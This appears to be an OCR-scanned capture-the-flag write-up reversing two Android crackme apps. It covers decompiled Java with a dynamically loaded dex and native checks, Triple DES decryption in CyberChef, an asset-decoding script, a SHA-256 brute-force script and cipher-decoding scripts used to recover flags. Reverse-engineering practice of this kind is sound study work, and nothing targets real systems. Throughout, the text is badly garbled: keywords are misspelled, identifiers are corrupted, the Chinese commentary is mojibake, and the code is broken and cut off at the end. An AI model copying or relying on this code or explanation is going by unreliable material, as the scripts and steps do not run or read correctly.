goverride // java.lang.Runnable
publie final veid run() {
MainActivity.this.m351lambda$checkFlagAsync$@Scomexamplemobile@tdMainActivityl];

b

};

flagCheckCallback.onCheckResult({falsea);

} else {

new Thread{new Runnable() { // from class: com.example.mobiledd.MainActivity$$ExternalSyntheticlambda2
BOverride // java.lang.Runnable
publie final veid run() {

MainActivity.this.m353lambda$checkFlaghAsync$2%comexanplemobileddMainfctivity(flagCheckCallback, str)

h

Flostart();

o

h

S+ renamed {from: lambda$checkFlagAsync$ffcom-example-mobilefd-NainActivity, reason: not valid java name =/
/* synthetic */ veid p351lambdajcheckFlagAsync$0$comexanplenobile@dMainActivity() |

Toast.makeText(this " EEFERIDE Y S , 8).show(];
h

-

XERBMEREME — 1N dexX ¥, EEaIEMNSAAImobile.soXH, k{iEmobile.soXH, 1
S HRE P
HEdexX RS

Z

@ aDex@35
4

SitAdexXft, ABEER, BKEFTE



/* renamed from: lambda§checkFlagAsync$2fcom-example-mobiledd-MainActivity, reason: not valid java name */
/#* synthetic */ veid m353lambdajcheckFlagAsync$2fcomexamplemobile@dMainfctivity(FlagCheckCallback flagCheckCallback, String str) {
byte[] loadEncryptedLib = loadEncryptedLib(];
boolean z = false;
if (loadEncryptedLib == null) {
runOnUiThread(new Runnable() { // from class: com.example.mobilef4. MainActivity$$ExternalSyntheticLambda@
BoOverride // java.lang.Runnable
public final wveoid run(]) {
MainActivity.this.m352lambda$checkFlaghsync$l$comexanplemobile@dMainActivity();
}
11
flagCheckCallback.onCheckResult(false);
return;

1
boolean checkFlag = DexLoader.checkFlagi{this,K str.substring(s, 11)};

if (!checkFlag) {
flagCheckCallback.onCheckResult(false);
return;
1
String substring = str.substring(1ll, str.length() - 1J;
EvilService.EvilBinder evilBinder = this.evilBinder;
if (evilBinder != null) {
evilBinder.checkFFlag2(substring, new C@4792(flagCheckCallback, checkFlagl);

return;

1
boolean mG6Ba = COUB2a.m6@alsubstring, loadEncryptedLibl;

if (checkFlag && m6@al {

z = true;
1
flagCheckCallback.onChekkResult(z);

£, Hz=true, NHEHIENTBERIsuccess, WEIFEATHMNABNflagiEidcheckFlagilm60ar MR ERHY

Ny

IIIE,
XFA RS B laghEIE 3R 5
#t&/— T checkflag

ic static boolean checkFlag(Context context, String str) {
try {
return ((Boolean) new DexClassLoader(new File(context.getFilesDir(), "decrypted.dex’).getAbsolutePath(), context.getCodeCacheDir().getAbsolutePath(), null, context.getClassLoader()).loadClass("

} catch (Exception unused) {
return false;
¥

XEBRE T dex, izER{1eIESEINdexXf, EfloadT—"sunday, £AE, BEERHD
flagfy3e3EB a0

package com.example.mebiledy;

/* renamed +rom: com.example.mobiledd.a =/
/* loaded from: classes.dex =»/
publie elass Couds2a @
private native boolean checkFlag2(String str, byte[] bArr);

statie |
System.loadLibrary("Monday"];

/* renamed from: a */
public static boolean méBa(String str, byte[] bArr) {
return new CO482al).checkFlag2{str, bArr];

H

Xload T —"monday.soX¥, BRAZEIXEX M FapkXEMAOHTET, KBHINEEINdex> M4



package com.example.mobile@d;

impert java.util.Arrays;
impert javax.crypto.Cipher;
import javax.crypto.spec.SecretHeySpec;

/* loaded from: E:\edge\download.dex =/
public class Bunday7 {
public static native byte[] getHKey(];

statie {
System.loadLibrary("Sunday");

b

publiec statie byte[] encryptlbytel[] bArr) {
try {
bytel] key = getHey(];
if (key == null || key.length != 24} {
throw new RuntimeException("Invalid key from native");
h
SecretHeySpec secretHeySpec = new SecretKeySpeclhkey, "DESede"];
Cipher cipher = Cipher.getInstance("DESede/ECE/PHCSS5Padding");
cipher.init(1l, secretHeySpec);
return cipher.doFinal(bArr);
I eateh (Exception e} {
throw new RuntimeException(e);
¥
}

public statie beoolean checkFlag(String strl {
return Arrays.equals(encrypt{(str.getBytes()), new byte[]{69, 51, 56, 67, 66, 56, 51, 50, 66, 52, 49,6 53, 55, 56, 54, 49});
}

[

-

B, XEmME=DESINE, BXHELLL, EANIFEsundayXHE

qmemcp_v , i O
v (*(_inted (_ fas [ t64, _ inte4, _ inted, _

_( D, _ inte4, _I

fE— TR LUSRIRT—3k 2 flag

Recipe Sl ] Input
- 69, 51, 5@, 67, 66, 56, 51, 5@, 66, 52, 49, 53, 55, 56, 54, 49
Delimiter )
Space [ support signed values
Triple DES Decrypt me 62 = 1
Key Output
FqsmHPhLODT..  UTF8~ v HEX ~ P
YOAKhZ stxsTx
Mode Input Output
ECB/NoPaddi... Hex Raw
STEP
Auto Bake

A B =1

ETRERFHD, RIEFMEMNESR, £F—TlibMonday.so, XB&EIMEBMRE, XBLMER

REREX



n

_mm_load_si12 i *)&mmword_710) ;
_mm_load

_mm_load

_mm_load

_mm_load sil2 “)&xmmword_760) ;
_mm_load_sil2 ) &xmmword_748@) ;
_mm_load_sil2

_mm_loadl
_mm_xor_s
_mm_or_sil28(
_mm_and_si128(_mm_s11i_epil6 2u),
. sub_epi8(_mm_xor sil28 and_s5i128(_mm_srli_epilé

9 + n8_2) = _mm_or_si128(
_mm_and_sil128(_mm_slli epil 2, 5u) )s
_mm_sub_epi8(_mm_xor_sil128(_mm_and_si (_mm_srli_epil ))-m128i_ub4[0];

id log print(e, "AntiHijack", &qwor'ijl,, n2);

example mobile04_a checkFlag2:146 (EOC)

BT —TAl, XEfEZEREE, REZXRANEDSFIORHITRE, BmExX—K

LR EIETTasset/x86_642H, ERAMBIRAER—T

ARG ER

1 with open("E:\\edge\\attachment-41\\assets\\x86_64\\enreal", "rb") as f:

2 data = list(f.read())

3 for i 1in range(len(data)):

4 data[i] = (((data[i] << 2) | (data[i] >> 6)) & Oxff) A 0Ox66

5 data[i] = ((data[i] >> 3) | (data[i] << 5)) & Oxff

6 with open("E:\\edge\\attachment-41\\assets\\x86_64\\decode_enreal", "wb") as f:
7 f.write(bytes(data))

AREBOMXIXH, RIZelfXt, idakiFiFE, TEEXE



EVP_CIPHER CTX
= EVP_des_ed
E\.’P_EncryptInlt_e’.\(
EVP_CIPHER_CTX_
EVP_EncryptUpdat

1DAFLL;

Recipe Al Input
D835A27C66BB1DAF
Reverse
By
Character
Triple DES Decrypt me 16 = 1
Key Output
xbNUkvstim,  UTFS v HEX P
Mwr4aXD6
Mode Input Qutput
ECB/NoPadd... Raw Raw

E FISCCERA]

e 3 = 1

GGAD
BRINSHTAXNMER, —EBRAM, 2HAT, jadxkRFmFEE



protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView (CBY49BR.layout.activity_mainl;
this . keyEditText = (EditText) findViewById(C@U9BR.id.editTextText2);
this . flagEditText = (EditText) findViewById(CBUIER.id.editTextText];
ImageButton imageButton = (ImageButton) findViewById(CBU9BR.id.imageButtonl;
this.validateButton = imageButton;
imageButton.setOnClicklListener(new View.OnClickListener() { // from class: com.example.ggad.Maindctivity.1
goverride // android.view.View.OnClickListener
public veid onClick(View view) {
MainActivity.this.yvalidateInputs();
}
1;
1

/* JADX INFO: Access modifiers changed from: private +/
public void |ralidateInputs() {
String trim = this.keyEditText.getText().toString().trim();
if (trim.isEmpty (3] {
Toast.makeText(this, "Please enter the key", @).shomw();
return;
1
KeyManager.setHey(trim);
if (!validateKey(trim}) {
Toast.makeText({this, "wrong key, please find the correct key from ‘Character 1 PNG'.", @).show();
return;
1
String trim2 = this.flagEditText.getText().toString(). trim();
if (trim2.isEmpty(J) {

Toast.makeText(this, "Please enter the flag", 8).show();
return;

1

if (ltrim2.startswith("Iscc{") || !trim2.endswith("}")) {
Toast.makeText(this, "wrong format", @).show();
return;

1

string substring = trim2.substring(s, trim2.length{) - 1J;
substring.isEmptyl);
if (new CO499al).mSlalKeyManager.getkey(), substringl) {
Toast.makeText(this, "Success", @).show(];
} else {
Toast.makeText{this, "wWrong flag, try again", 8).shew(];

}

-

EBRMANRZE, SEREENTEARkKey, keyid T A =it flag, XBRIANRKey=1E FEHHAY
m5la7r ZREMIATMARIflag—iRE N, BAEFEENXEELREIX Tkey, ELE

publie elass MainActivity extends AppCompatActivity |
private EditText flagEditText;
private EditText keyEditText;
private ImageButton validateButton;

public native boolean palidateRey(string str);

statiec {
System.loadLibrary("ggad");

A akeyRiZEX N ggadEEH, idaFEE



257aedd55dfeldsa 312 98¢ clcd1[v11] )

HBIA NI RY B sha256, AEMBEERESRIsha256Lb3T, B— T8

AREIR

o b~ W N

~

10
11
12
13
14
15
16
17
18
19
20
21
22
23

import hashlib
import ditertools
import string

import time

TARGET_HEX_HASH =
"e60bcodff5c6c5b4b63b8257ae4d55dfeld8a622ech531a2a9898c8fe5clcdl

CHARACTER_SET = string.digits + string.ascii_lowercase + string.ascii_uppercase
MAX_LENGTH_TO_TRY = 20

print (f"Bir+75EHII5% 1 {TARGET_HEX_HASH}™)

print (f"EAFRFE ({len(CHARACTER_SET) }'NFEHF): {CHARACTER_SET}")
print(f"&EAZEIHIKE: {MAX_LENGTH_TO_TRY}")

print("-" * 30)

start_time = time.time()

found = False

for length in range(l, MAX_LENGTH_TO_TRY + 1):
print(f"EEZIXKE: {length}...")
for combination in ditertools.product(CHARACTER_SET, repeat=length):



24

25 attempt_string = "".join(combination)

26 attempt_bytes = attempt_string.encode('utf-8")

27 calculated_hash = hashlib.sha256(attempt_bytes) .hexdigest()
28

29 if calculated_hash == TARGET_HEX_HASH:

30 end_time = time.time()

31 print("-" * 30)

32 print("!!! B TRIBFRE 111

33 print(f"[RIBFREZ: {attempt_string}")

34 print (f"ITEERINGA: {calculated_hash}")

35 print(f"2%E0f: {end_time - start_time:.2f} #")
36 found = True

37 break

38

39 if found:

40 break

41

42 Gf not found:

43 end_time = time.time()

44 print("-" *x 30)

45 print (F'"TEEIRKEZR] {MAX_LENGTH_TO_TRY} ZHi, FKAEIHKEICEMNFERTH. ")
46 print(f"2%E0f: {end_time - start_time:.2f} #")

13EIExpectoPatronum A 4A

HEIRAR, HTmbdlarii, BEENZBEZEXMMES

/% Ludued TrUm CLdSSEes.Uex =/
public class Cou99a {
private native String JNIL(String str, String strl);

private native String JNI2(String str);

statie {
System.leadLibrary("ggad");
1

/* renamed from: a */

public boolean mSla(string str, String str2) {
return C85808b.m53a(JINIz(m52b(anfE1(strz, str))));

1

/* renamed {from: b */

public String m52b(String strl {
StringBuilder sb = new StringBuilder();
int i = 0,
while (i < str.length(l) {

int i2 =1 + 2;
sb.append(String.format("%8s", Integer.toBinaryString(Integer.parseInt(str.substring(i, i2), 16))).replace(' ', '@'));
i=i2;

1
return sb.toString(J;

1

m53aEEAEX, MmERLEBT, m52bFER 17 it F S



public class C8586b {
private static final String PRESET_VALUE = "01086001106116161016601106611600110611601160110100610001600011601100116100001100010100001066110011";

/* renamed from: a #*/
public static boolean p53a(string str) {
return validateOddPositions({extractOddPositions(str)) && validateEvenPositions(extractEvenPositions(strll;

¥

private static String extractOddPositions(String str) {
StringBuilder sb = new StringBuilder();
for (int i = 8; i < str.length(); i++) {
if (i %2 ==98) {
sh.append(str.charAt(i));

H
H
return sb.toString(J);

¥

private static String extractEvenPositions(String str) {
= new StringBuilder();
i< str.length(}; i++) {
if (i %2 !=90) {
sh.append(str.charAt(i));

i

1

return sb.teString();

¥

private statie boolean validateOddPositions(String str) {
StringBuilder sb = new StringBuilder();
for (char c : str.toCharArray()) {
sb.append(5tring.format("%@8d", Integer.valueOf(Integer.parseInt(Integer.toBinaryString(Integer.parselnt(String.format("%02X", Integer.valuedf(c)), 1611)1));
H
return sb.toString().equals(PRESET_VALUE];
¥

private static boolean validateEvenPositions(String strl {
return str.equals(C058lc.m54a());
¥
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n48_1 = (unsigned _ int8)ptr_2[n_3];

48_1 == 49 )
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1 def affine_cipher_decode(encoded_msg, cipher_key):

2 decoded_parts = []

3 key_pos = 0

4

5 for current_char in encoded_msg:

6 if current_char.isalpha():

7 plain_char = chr(((ord(current_char.upper()) - ord('A')) -
(ord(cipher_key[key_pos % len(cipher_key)].upper()) - ord('A"'")) + 26) % 26 +
ord('A'"))

if current_char.islower():
decoded_parts.append(plain_char.lower())
10 else:
11 decoded_parts.append(plain_char)
12 key_pos += 1
13 else:
14 decoded_parts.append(current_char)
15
16 return ''.join(decoded_parts)
17
18
19 def process_string(input_string, key_material):
20 return affine_cipher_decode(input_string, key_material)
21
22
23 def transform_string(input_string):
24 cipher_key = 'ExpectoPatronum'
25 return process_string(input_string, cipher_key)

26
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def setup_state_vector(cipher_key):
if dsinstance(cipher_key, str):
cipher_key = cipher_key.encode()
state_vector = list(range(256))
k_idx = 0
for didx in range(256):
k_idx = (k_idx + state_vector[idx] + cipher_key[idx %
len(cipher_key)]) % 256
state_vector[idx], state_vector[k_idx] = state_vector[k_idx],
state_vector[idx]

return state_vector

def generate_keystream_xor (state_vector, encoded_msg):
if dsinstance(encoded_msg, str):
encoded_msg = encoded_msg.encode()
idx = k_idx = 0
xor_output = []
for data_byte in encoded_msg:
idx = (idx + 1) % 256
k_idx = (k_idx + state_vector[idx]) % 256
state_vector[idx], state_vector[k_idx] = state_vector[k_idx],
state_vector[idx]
temp_sum = (state_vector[idx] + state_vector[k_idx]) % 256
keystream_byte = state_vector[temp_sum]
xor_output.append(data_byte * keystream_byte)
return bytes(xor_output)

if __name__ == "__main__":

encoded_binary_str =
'01000011001101010100011000110011001100110011010001000100001100110011601000011006
0101000010600110011"

initial_cipher_str = '2582J18CRG13'

processed_string = transform_string(initial_cipher_str)
binary_decoded_string = "'
for idx in range(0, len(encoded_binary_str), 8):

binary_decoded_string += chr(int(encoded_binary_str[idx:idx + 8], 2))
interleaved_string = ''
for idx in range(12):

interleaved_string += binary_decoded_string[idx]
interleaved_string += processed_string[idx]
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hex_byte_list = [int(interleaved_string[idx:idx+2], 16) for +idx 1in
range(0, len(interleaved_string), 2)]

full_binary_str = "'
for value in hex_byte_list:
binary_representation = bin(value)[2:]
full_binary_str += ("{:0>8}".format(binary_representation))

flipped_binary_str = "'
for bit in full_binary_str:
if(bit == '"1"):
flipped_binary_str += '0'



